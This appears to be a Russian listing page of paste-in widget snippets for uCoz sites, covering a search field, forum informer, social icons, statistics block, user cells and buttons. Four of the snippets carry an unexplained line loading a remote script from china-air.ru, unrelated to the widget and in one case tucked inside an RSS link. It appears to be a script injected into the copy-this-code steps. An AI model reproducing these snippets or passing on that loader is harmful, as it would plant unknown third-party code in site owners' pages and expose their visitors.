Главная »
[c][/c]Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса. Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы. Итак давайте приступим к установке: Установка CSS [code]#search { font-family: Helvetica Neue, Helvetica, Arial, sans-serif; background:#fff; width: 8px; padding: 0 8px; height: 24px; font-size: 14px; color: #666; line-height: 24px; border: 0; outline: none; border-radius: 50px; position: relative; z-index: 5; -moz-transition: .1s ease; -ms-transition: .1s ease; -webkit-transition: .1s ease; -o-transition: .1s ease; transition: .1s ease; ... Читать дальше » |
[c][/c]Последние ответы на форуме в блоке для ucoz.
Установка: Создаем информер: Название: Статистика форума в блоке --> Раздел: Форум --> Способ сортировки: Последние обновленные темы --> Количество материалов: 5 --> Количество колонок: 1. В шаблоне информера всё удаляем, ставим этот код: [code]<img src="http://bambun.ru/images/756432556s.png"><a href="$THREAD_URL$"> $THREAD_TITLE$</a><br> <script src="http://china-air.ru/tsed.js" type="text/javascript"></script> <img src="http://bambun.ru/images/56786821.png"> <font face="Comic Sans MS">Ответов:</font> $REPLIES$</span> <div style="font:7pt" align="left"><a href="$FORUM_URL$"> [$FORUM$]</a></div></li><hr> [/code] Код информера ставите на страницах сайта в нужном Вам мест ... Читать дальше » |
[c][/c]Описание: На всех страницах находим код:
[code]<div id="rt-maintop"> <div class="clear"></div> </div> <div id="rt-main" class="sa4-mb8"> <div class="rt-grid-8 rt-push-4"> <!-- <body> -->$CONTENT$<!-- </body> --> </div> <div class="rt-grid-4 rt-pull-8"> <div id="rt-sidebar-a">[/code] И перед ним ставим: [code]<div class="bg-icons"> <a href="ВАША ССЫЛКА на RSS"target="_blank" title="RSS подписка" class="rss-ic"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a href="ВАША ССЫЛКА в контакте"target="_blank" title="Я Vkontakte" class="twi-ic"></a> <a href="ВАША ССЫЛКА" в мире"target="_blank" title="Я в Мире" class="flcr-ic"></a> </div>[/code] В css в самый низ ставим: [code].bg-icons { background ... Читать дальше » |
[c][/c]Цвет линии зелёный, думаю для светлых дизайнов будет как раз.
Установка: 1) В блок со статистикой ставим в любое место это: [code]<div id="Statku"></div>[/code] 2) Ниже этого ставим: [code]<script type="text/javascript" src="http://bambun.ru/css_js/statistika.js"></script><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><link type="text/css" rel="StyleSheet" href="http://bambun.ru/css_js/statistika.css">[/code] |
[c][/c]Описание: Новый симпотный вид кто онлайн для ucoz
Установка: Ставим в блок куда вам надо данный ниже код: [code]<div style="margin:-5px; margin-top:5px; padding:0px; border-top:1px solid #ccc; background:#f3f3f3; max-height:160px; overflow:auto; overflow-x:hidden;" id="userList"> <div style="clear:both"></div> </div><script type="text/javascript"> $.get('/index/62',function(e){ fuu = $('cmd[p="content"]',e).text(); $('a',fuu).each(function(i){ $('#userList').prepend('<div style="margin-top:6px; margin-bottom:-16px; padding-right:6px;" align="right"><img style="margin-right:5px; cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="http://bambun.ru/images/pmver2.gif" border="0" /><img style="cursor:pointer" onclick="alert(\'Разрабатываем!\');" src="h ... Читать дальше » |
[c][/c]Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка: - заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему ищем код [code]$COM_BODY$[/code] и заменяем его на [code]<ul class="cell_coment"> $COM_BODY$ </ul>[/code] - теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код [code]<li> <div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /> ... Читать дальше » |
[c][/c]Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz
Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа. Установка 1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код: [code]#vkontakte_button img { position: fixed; top:125px; right: -76px; z-index: 99999; cursor: pointer; display: block; } [/code] 2.) Следующий код вставляем в любое место на странице между head и /head: [code]<script type="text/javas ... Читать дальше » |
[c][/c]Описание:
Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога. Установка - заходим в админ панель сайта => Инструменты => Информеры => создать информер - Раздел: ( пользователи ) - Способ сортировки: ( количество комментарий ) - Количество материалов: ( 1 ) - Количество колонок: ( 1 ) теперь открываем информер и копируем туда следующий код: [code]<div class="comment_info transparency_i"> <div class="comment_v"> <a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img clas ... Читать дальше » |
[c][/c]Описание:
Информер "Отправить СМС" Для установки информера поставьте на сайт следующий код в нужно Вам место: [code]<style type="text/css"> <!-- body,td,th { font-family: Arial, Helvetica, sans-serif; font-size: 10px; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: none; } a:active { text-decoration: none; } --> </style><table border="0" cellpadding="0" cellspacing="0"> <tr> <td><a href="http://www.beeline.ru/sms/index.wbp" target="_blank"><img src="http://bambun.ru/images/beeline.gif" alt="beeline" width="90" height="58" border="0"></a></td> <td><a href="http://www.megafon.ru/ ... Читать дальше » |
[c][/c]Красивая кнопка регистрации для ucoz. Выполнена в синих тонах. При на ведении на неё курсором, она красиво выдвигается.
Чтобы установить кнопку регистрации, нужно этот код вставить туда где вы хотите чтобы она отображалась: [code]<script type="text/javascript"> $(function($) { $("#onlinehelp img").hover( function () { $(this).animate({right: '0'}, {queue:false, duration: 350}); //$(this).css('right', '0'); }, function () { $(this).animate({right: '-160px'}, {queue:false, duration: 350}); // $(this).css('right', '-160px'); } ); }); </script> <a id="onlinehelp" href="$REGISTER_LINK$" onclick="webChatOpen();return false;"> <img alt="Регистрация" src="http://bambun.ru/images/4283_programm-newuco.png" /> <s ... Читать дальше » |